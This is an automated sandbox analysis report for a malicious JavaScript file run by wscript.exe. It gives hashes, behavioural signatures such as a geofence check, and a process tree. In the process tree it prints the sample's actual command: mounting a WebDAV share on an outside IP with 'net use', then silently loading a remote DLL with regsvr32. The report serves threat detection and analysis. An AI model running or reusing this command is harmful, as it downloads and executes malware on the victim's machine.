Analysis

  • max time kernel
    137s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 09:28

General

  • Target

    1697819084607613635.js

  • Size

    4KB

  • MD5

    72e9ffddcd7a6f149e3504f9ad68d877

  • SHA1

    41e419e15a7d2431656a79c0babfba059912c7c7

  • SHA256

    600f430f2894c8ec32bfb07b9243e7c94c99ea201d6b4b49974a4c4bbff84946

  • SHA512

    5e673f5a1dcf5c52a61124f61c4e62a372e4167d8a03b04a1ab796116b876b3174c3c6cd58f03f9237678ff0029698f19bf47dce7de7002c5304e888ab163f59

  • SSDEEP

    48:cPa1BnBsVKiPcMNAnpalKSUwiI2Hwi8rUFnJaGSrKa4Ln3uBGZhAk2NZ56BGZhO:wDP6fOBWTQBGfAk/BGfO

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1697819084607613635.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\9972327556096.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:708

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads